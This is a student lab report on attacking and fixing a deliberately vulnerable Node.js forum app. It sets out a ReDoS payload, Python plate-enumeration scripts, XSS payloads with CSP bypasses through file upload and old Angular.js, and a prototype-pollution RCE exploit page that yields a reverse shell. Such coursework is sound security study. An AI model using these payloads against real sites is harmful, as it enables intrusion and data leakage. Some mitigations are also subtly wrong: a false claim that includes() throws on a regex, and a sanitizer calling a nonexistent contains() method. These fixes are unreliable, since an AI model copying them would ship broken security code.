Lab Assignment 2
DD2525

Alexandru Matcov[1] and Jakob Ström[2]

[1]matcov@kth.se
[2]jakstrom@kth.se

April 28, 2025

Contents

Chapter 1

Regular Expression Denial of Service (ReDoS)

1.1 Identification of ReDos Vulnerability

To find where a Regular expression Denial of Service (ReDoS) attack could occur within *Forumerly*, we looked for instances where regular expressions could be matched against attacker-provided inputs. There was one clear instance of such pattern matching in the registration page, where the password is checked against the username to verify that the password is not included within the name. This is verified by using:

```
name.match(pass)
```

where name equals the input for username, and pass for password.

1.2 Exploitation

The **match()** of String values in JavaScript matches the string against a regular expression, which thus is exploitable. The attacker could register with a username such as aaaaaaaaaaaaaaaaaaaaaaX, combined with a malicious pattern as the password, such as (a+)+$. The server then tries to match this input, with this specific input being equivalent to one or more a's, one or more times. The number of combinations the engine must test grows exponentially as a result of the nested quantifier pattern, causing exponential backtracking and Denial of Service of the server.

This ReDoS attack is particularly effective against *forumerly* because it's built on *Node.js*, which uses a single-threaded event loop architecture as described in the assignment. When the regex engine enters exponential

backtracking, it completely ties up this single thread, preventing the server from processing any other requests. Unlike multi-threaded servers where only one thread would be affected, in *Node.js*, this effectively brings down the entire application until the regex processing completes or times out.

1.3 Mitigation

One effective mitigation is to replace the current **match()** with another String value method, namely **includes()**. **Includes()** treats the string to be searched after within another string, in this case the submitted password, as plain text. This works even if the password is a regular expression, as an error is thrown if the submitted password is a regular expression. This effectively mitigates the ReDoS vulnerability as there is no regex evaluation and therefore no more possibility of exponential backtracking and tying up the single-threaded architecture.

Some other possible mitigation strategies could be to implement timeouts on requests, or keeping **match()** but use a safe regex evaluator, such as the *safe-regex* package to evaluate the password beforehand. These are however inferior specifically for the vulnerability found within *forumerly*, where **includes()** is ideal.

Chapter 2

Web Side Channels

A *side channel* is any unintended information leak through auxiliary application behavior. In *Forumerly* we found two *storage* side channels tied to plate registration and parking:

2.1 What information can be used as a side channel?

- **Registration Error Disclosure.** `POST /signup` replies with a distinct error when the submitted plate is *already registered*:

```
<div class="alert␣alert-danger" role="alert">
  License plate already registered by other user
</div>
```

  Otherwise no error is shown (or a generic success/redirect occurs). *Leaks:* whether any user account holds a given plate.

- **Parking Error Disclosure.** Once logged in, `POST /park` with an active plate and a chosen location yields:

```
<div class="alert␣alert-warning" role="alert">
  This car is already parked in the selected location.
  Do not waste your money!
</div>
```

  If the plate is not parked there, a different (or no) alert appears. *Leaks:* that a specific plate is currently in use and its exact parking location.

2.2 Step-by-step demonstration

1. Plate enumeration (registration side-channel)

1. Attacker selects a candidate license plate (e.g. "ABC123").
2. Sends a `POST http://localhost:3000/signup` with form data:

```
username=probe_ABC123
plate=ABC123
password=Test1234!
password2=Test1234!
```

3. Parses the HTML response for the presence of:

```
<div class="alert␣alert-danger" role="alert">
  License plate already registered by other user
</div>
```

4. If that `.alert-danger` is present, the attacker records "ABC123" as taken.

2. Active parking check (automated side-channel)

1. Attacker logs in as `attacker` via the navbar form on `/`:
   - `GET /` to fetch CSRF token from the hidden input.
   - `POST /login` with {`username, password, _csrf`}.
2. Attacker retrieves the parking form on `/`:
   - Parses the `<form action="/park">` to discover:
     - CSRF field name and value
     - Text input name for the license plate
     - Number input name for the minimum time
     - `<select name="location">` mapping each label to its value ID
3. For each recorded plate and each location ID:
   - `POST /park` with {`licensePlate, mintime, location, _csrf`}.
   - Parses the response for the `div.alert-danger` containing: *"This car is already parked in the selected location. Do not waste your money!"*
   - If present, records that the plate is active at that location.

2.3 Exploitation implementation

```
import requests
from bs4 import BeautifulSoup

session = requests.Session()
URL = 'http://localhost:3000/signup'

def is_plate_taken(plate):
    data = {
        'username': f'probe_{plate}',
        'plate':    plate,
        'password': 'Test1234!',
        'password2':'Test1234!'
    }
    r = session.post(URL, data=data)
    r.raise_for_status()
    soup = BeautifulSoup(r.text, 'html.parser')
    alert = soup.find('div', class_='alert-danger')
    return bool(alert and 'already␣registered' in alert.
       text)

if __name__ == '__main__':
    plates = ['ABC123','DEF456','GHI789']
    for p in plates:
        print(p, 'TAKEN' if is_plate_taken(p) else 'free'
           )
```

Listing 2.1: `registration_scrapper.py` – enumerate taken plates

```
import requests
from bs4 import BeautifulSoup

BASE   = 'http://localhost:3000'
USER   = 'attacker'
PWD    = '-j!#9hdY2}WN$aM'
PLATES = ['ABC123','DEF456','GHI789']
MINTIME = 1

def login(sess):
    r = sess.get(f'{BASE}/')
    r.raise_for_status()
    soup = BeautifulSoup(r.text, 'html.parser')
```

```
    tok = soup.find('input', {'name':'_csrf'})
    data = {'username':USER, 'password':PWD}
    if tok: data['_csrf'] = tok['value']
    sess.post(f'{BASE}/login', data=data).
       raise_for_status()

def scrape_form(sess):
    r = sess.get(f'{BASE}/')
    r.raise_for_status()
    form = BeautifulSoup(r.text,'html.parser')\
             .find('form', action='/park')
    csrf = form.find('input',{'type':'hidden'})
    lic  = form.find('input',{'type':'text'})['name']
    mint = form.find('input',{'type':'number'})['name']
    sel  = form.find('select')['name']
    locs = {opt.text:opt['value'] for opt in form.
       find_all('option')}
    return (csrf['name'],csrf['value']) if csrf else (
       None,None), lic, mint, sel, locs

def check_parked(sess, form_info, plate, loc_id):
    (cname, cval), lic, mint, sel, _ = form_info
    r = sess.get(f'{BASE}/'); r.raise_for_status()
    payload = {lic:plate, mint:str(MINTIME), sel:loc_id}
    if cname: payload[cname] = cval
    rsp = sess.post(f'{BASE}/park', data=payload)
    rsp.raise_for_status()
    return 'already␣parked' in rsp.text.lower()

def main():
    sess = requests.Session()
    login(sess)
    form_info = scrape_form(sess)
    _, _, _, _, locs = form_info

    for plate in PLATES:
        for label, lid in locs.items():
            if check_parked(sess, form_info, plate, lid):
                print(f"[ACTIVE]␣{plate}␣@␣{label}")

if __name__ == '__main__':
    main()
```

Listing 2.2: `park_scrapper.py` – automated parking probe

2.4 Mitigation Strategies

To eliminate the registration and parking side channels without altering communication with third-party services, we propose:

- **Unified error messaging.** Replace all distinct error flashes for "already registered" and "already parked" with a single generic message such as

  > "Unable to process your request. Please try again later."

  This prevents attackers from inferring plate existence or active parking status.

- **Strict authorization checks.** On every parking request (`POST /park`), verify server-side that `req.user` actually owns the submitted `licensePlate`. Reject unauthorized attempts with the same generic error as above.

- **Rate limiting and CAPTCHA.** Apply per-IP or per-account rate limits on `/signup` and `/park`. After a small number of failures, require a CAPTCHA challenge to block automated enumeration.

- **Constant-time response patterns.** Ensure that both success and failure paths for registration and parking take approximately the same amount of time to respond, preventing timing side-channels.

- **Monitoring and alerting.** Log repeated failed `signup` or `park` attempts for the same plate or location, and trigger alerts for manual review or temporary blocking.

Chapter 3

Cross-Site Scripting (XSS)

3.1 Identification of XSS Vulnerability

To identify a vulnerable endpoint of *forumerly*, we firstly analyzed the structure of when the application takes untrusted data and sends it to a browser without proper validation or sanitization, as this could enable XSS (Cross Site-Scripting) to occur. *Forumerly* uses *Express.js* with *Mustache.js* as its template, which replaces static variables with actual values at runtime. In *Mustache.js*, templating is composed of tags, consisting of two curly brackets ({{ }}) which define how something should be rendered or acted upon, such as comments, sections, but most importantly for this assignment variables.

Mustache.js HTML escapes all variables per default, meaning that there can not be a XSS vulnerability in these tags, as any injected script would be treated as plain text. The server thus protects itself from XSS. However, in *Mustache.js*, if there are three curly brackets instead of two ({{{ }}}), there is no escaping and we treat it as raw content, meaning that it could be exploited. In *Forumerly*, we found one such instance, in the view for creating a new thread. The variable for the body of this view utilized three curly brackets. To verify that this was in fact an XSS vulnerability, we also injected a typical payload:

```
<script>alert('XSS Found')</script>
```

However, while this confirmed that it did not HTML escape, as it resulted in ">alert('XSS')" instead of the safe plain text "<script>alert('XSS')</script>", it still did not result in an execution. This seemed to be the result of some other sort of escaping, removing the script tags. This could be found in *forum.js*, where several instances of the string method **replace()** changes the first script, image and svg tags to blank spaces. This could nonetheless be bypassed by adding an extra script tag:

```
<script<script>alert('XSS Found')</script>
```

This resulted in the code being successfully injected into the web page and resulting in Stored XSS, but the browser blocked the execution as it violated the Content Security Policy (CSP).

3.2 CSP & Bypasses

The CSP of *forumerly* is as follows:

```
default-src 'self'
script-src 'self' use.fontawesome.com
           ajax.googleapis.com cdnjs.cloudflare.com
```

This means that the default policy is to only allow content from the same origin, while JavaScript can also currently be loaded from three different other sources, *use.fontawesome.com*, *ajax.googleapis.com*, and *cdnjs.cloudflare.com*.

3.2.1 Unrestricted File Upload

As *forumerly* currently allows scripts from self, it can be problematic if it also allows user uploaded files to be hosted. If a user can upload a script to the server, then it can also be executed as per the CSP. *Forumerly* currently has this problem, as users can upload files when selecting their profile picture. When uploading a profile picture, a user can currently upload any file, not just images. If we upload a file containing the alert of our previous payload (alert('XSS Found')), then it is located at /images/profileImages/*correspondingUsername*, which can be easily found by inspecting the page. By then injecting:

```
<script<script src="/images/profileImages/
   usernameOfAttacker"></script>
```

We will see the alert. We can therefore bypass the CSP through the file uploads.

3.2.2 Third-Party Endpoints

The CSP currently allows scripts from certain third-party domains, which could result in a possible CSP bypass. We can currently retrieve all hosted libraries as allowed by our CSP. If the Content Delivery Networks (CDN)

are hosting vulnerable libraries, then we can access them and use them when trying to bypass CSP. Both ajax.googleapis.com & cdnjs.cloudflare.com are hosting older versions of the JavaScript framework of *Angular.js*, which is well known to be able to be exploited to bypass allowlist-based CSP. Here is one of the many publicly available examples (found in Hacktricks - Content Security Policy (CSP) Bypass from the assignment) which works by importing an older version of *Angular.js*, adjusted to work for *forumerly*:

```
<script<script src="https://cdnjs.cloudflare.com/ajax
   /libs/prototype/1.7.2/prototype.js"
</script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/
   angular.js/1.0.1/angular.js">
</script>
<div ng-app ng-csp>
    {{$on.curry.call().alert('XSS Found')}}
</div>
```

This injection imports the old and vulnerable version *Angular.js*, and then calls an alert. Important to note is that the *Angular.js* expression can not directly access the window, which is why *prototype.js* is imported as well, as it gives access to the window with $on.curry.call() being in this context being equivalent to this. After injecting this, we will see the alert, meaning that we can bypass the CSP through Third-party endpoint exploits.

3.3 Mitigations of XSS and CSP Vulnerabilities

While the examples used above are simple alerts, it is important to note that its possible to execute arbitrary code through these methods. The attacker's possibilities are abundant and can for instance include redirecting to other pages, install malicious content, access private data and perform actions on the behalf on the user. A straightforward example for *forumerly* is that you can logout users simply by injecting fetch('/logout'); by using one of the mentioned bypasses.

Important to note for *forumerly* is that the cookie for the session is set as HttpOnly meaning that it can not be accessed by JavaScript, and therefore not directly through XSS. While accessible localStorage and sessionStorage also appear to empty. Other than this and relevant DOM content such as the username, the attacker would need to perform more advanced actions to access private data.

3.3.1 XSS

To fix the specific XSS-vulnerability found when posting a new thread is rather straightforward, as we simply need to adjust the number of curly brackets from three to two. This will as explained above, HTML escape the injection, resulting in it not being executed as it is treated as plain text. The XSS will thus be sanitized and fixed.

3.3.2 Unrestricted File Upload

Ideally, we could just remove the possibility to upload files altogether, but we will base our mitigation suggestions around keeping the option to select a profile picture. To fix the issues with the file upload we followed the recommendations listed in OWASP, as listed in the assignment description.

The main issue is that there currently is no file validation, any file can be uploaded. We could check the MIME type and file extension to only allow .png for instance, but a malicious attacker can easily bypass this by renaming a file with a malicious script to the appropriate extension. A more secure solution is to inspect the magic number of the file, which is a constant value unique for each file format. By using the *file-type* package, we can determine the file's type by reading the magic number from the filedata. The following code is added at the beginning of the POST route for profile picture upload:

```
const filePath = req.file.path;
const fileBuffer = fs.readFileSync(filePath);
const fileType = await FileType.fromBuffer(fileBuffer
   );

if (!fileType || !['image/png'].includes(fileType.
   mime)) {
  fs.unlinkSync(filePath);
  req.flash('error', 'Select a valid image.');
  return res.redirect('back');
}
```

We use the *file-type* package to read the file as a buffer, and use the FileType.fromBuffer method to confirm the magic number. This effectively validates our file to the desired type and mitigates the vulnerability. This currently only allows png:s but can be adjusted as necessary.

This is a fix for *forumerly*, but the fact remains that hosting user uploaded files on the same origin is risky, as we should not give script execution permissions to a repository where user uploaded files are stored. We therefore

recommend to also store the profile images on another domain, if we want to keep the 'self' property of the script-src.

3.3.3 Third-Party Endpoints

To fix the possibility of exploiting the current endpoints, we analyzed which of the allowlists were actually required for *forumerly* to function. It appeared as though both use.fontawesome.com and ajax.googleapis.com were only used once, and cdnjs.cloudflare.com never. As we want to remove the possibility of accessing the hosted *Angular.js* libraries, we removed cdnjs.cloudflare.com from the CSP, and specified that we only wanted the specific library of ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js instead of allowing every library from the CDN. The same could be done for cdnjs.cloudflare.com, if there is in fact a relevant library for *forumerly*. While use.fontawesome.com does not serve vulnerable libraries, we still specified its import to use.fontawesome.com/fa0d33d6bd.js, to make sure that only the relevant library can be accessed. A CSP fix for this specific bypass is thus:

```
default-src 'self'
script-src 'self' use.fontawesome.com/fa0d33d6bd.js
            ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js
```

3.3.4 Ideal CSP

While these fixes mitigate the issues within *forumerly*, it is not necessarily directly applicable if we wanted to set up a web application to prevent the execution of any malicious script. There are superior CSP configurations, using a combination of nonces, as well as requiring trusted types. Nonces ensure that only scripts with an explicitly granted, server-generated token are executed. We could if the functionality required, include strict-dynamic as well. The strict-dynamic setting allowing already trusted scripts to propagate the trust to all scripts loaded from the trusted root script, reducing the amount of required potential refactoring and easing access to third parties. A strictly nonce-based CSP is however stronger in security, if that is the only requirement.

Additionally, to prevent DOM-based XSS we introduce the requirement of trusted types to our scripts. When used, the relevant functions only accept type-checked objects that have specifically been marked as safe by our policies, instead of arbitrary strings. All script execution endpoints (sinks) would now require trusted types such as TrustedHTML for HTML contexts to execute, mitigating the possibility for DOM-based XSS. Finally, we should also

add a base-uri directive of none, as otherwise an attacker could set the script URLs to an attacker controlled domain. The resulting CSP for a generically secure web application is thus:

```
default-src 'self';
script-src 'nonce-random123';
require-trusted-types-for 'script';
base-uri 'none'
```

or if we wanted to include strict-dynamic:

```
default-src 'self';
script-src 'strict-dynamic' 'nonce-rAnd0m123';
require-trusted-types-for 'script';
base-uri 'none'
```

Chapter 4

Remote Code Execution (RCE)

4.1 Identification

The code in `user.js` defines a generic `merge(target, source)` function that copies all properties from `source` onto `target`, including `__proto__`. This allows prototype-pollution:

```
// user.js
function merge(target, source) {
  Object.keys(source).forEach(key => {
    // no check for '__proto__'!
    if (isObject(source[key])) {
      if (!target[key]) target[key] = {};
      merge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  });
  return target;
}
```

Passport's registration strategy in `passport.js` then does:

```
// passport.js
const wrapperFunction = `(function() {
  //     build a string using options.
     userAutoCreateTemplate
  return \`${options.userAutoCreateTemplate}\`;
})()`;
const newUser = JSON.parse(eval(wrapperFunction));
```

Because `userAutoCreateTemplate` is attacker-controlled via prototype pollution, `eval()` will execute arbitrary code.

4.2 Exploitation

We crafted an HTML form to upload our malicious JSON payload and then trigger the eval gadget:

```
<!DOCTYPE html>
<html>
<head>
    <title>Upload Exploit</title>
    <style> /*  styles  omitted for brevity  */ </
       style>
</head>
<body>
    <h1>Prototype Pollution Exploit</h1>
    <div class="notes">
      <p><strong>Step 1:</strong> Log into Forumerly,
         then upload the JSON payload file below.</p>
    </div>
    <div class="form-container">
      <h2>Upload JSON Payload</h2>
      <form action="http://localhost:3000/upload/users"
         method="POST" enctype="multipart/form-data">
        <label for="upload-users">Select JSON file:</
           label><br>
        <input type="file" id="upload-users" name="upload
           -users" accept=".json"><br>
        <button type="submit" class="button">Upload
           Payload</button>
      </form>
    </div>
    <div class="notes">
      <p><strong>Step 2:</strong> After the upload,
         trigger RCE by logging in with nonexistent
         credentials:</p>
      <form action="http://localhost:3000/login" method="
         POST">
        <input type="hidden" name="username" value="
           trigger">
        <input type="hidden" name="password" value="
           gadget">
```

```
        <button type="submit" class="button">Trigger RCE<
            /button>
      </form>
    </div>
</body>
</html>
```

Listing 4.1: UploadTrigger Exploit Page

Instead of using the HTML form to trigger the gadget, we use `triger_gadget.py` to triger the gadget and connect to the listening netcat.

Results:

- After uploading `payload.json`, the server responds with:

  ```
  Internal server error
  ```

- Upon submitting the login form, a reverse shell connects to our `nc -lvp 1337` listener, then the server immediately crashes with:

  ```
  MongoServerError: BSON field 'update.updates.userAutoCreateTemplate'
  is an unknown field.
  ```

4.3 Mitigation

We applied two targeted fixes to harden the application against prototype-pollution RCE and prevent related injection attacks:

- **Restrict bulk-upload to administrators.** In `routes/user.js`, we modified the upload route to require admin privileges:

  ```
  .post('/upload/users', adminRequired, uploadUsers.
     single('upload-users'), async (req, res) => {
  ```

- **Sanitize user-generated content.** In `routes/forum.js`, we added a simple whitelist filter on each thread's body to strip dangerous tags and URIs:

  ```
  // sanitize thread body to prevent script or data URI
     injection
  if (thread.body.contains('<script') ||
      thread.body.contains('<img')    ||
      thread.body.contains('<svg')    ||
  ```

```
    thread.body.contains('javascript:')) {
  thread.body = '';
}
```

The fixes are presented as comments in the source code.

4.4 Discussion

The server crash is triggered by the MongoDB driver encountering the unexpected ‘userAutoCreateTemplate‘ field in its internal session update (‘update.updates.userAutoCreateTemplate‘). This unrecognized field causes a `MongoServerError` which propagates as an uncaught exception in the Node.js event loop, terminating the process.

Fixing this proved challenging because the vulnerable `merge()` function pollutes every JavaScript object, including the MongoDB driver's internal state, making it necessary to both prevent global prototype writes and ensure that any future pollution is confined only to the intended `options` module. Isolating the prototype-pollution vector without breaking legitimate application logic required invasive changes to core utility functions.

Nonetheless, the fact that our netcat listener briefly received a shell connection demonstrates that the reverse-shell payload executed successfully, confirming RCE. Further debugging of the MongoServerError consumed far too much time and far too little guidance or knowledge from the TAs.

Chapter 5

Contributions

- **Alexandru Matcov:** repsonsible for full implementation and documentation of the Web Side Channels and RCE.
- **Jakob Ström:** Jakob found, exploited and mitigated the ReDoS and Cross Site Scripting vulnerabilities, as well as writing the corresponding parts of the report.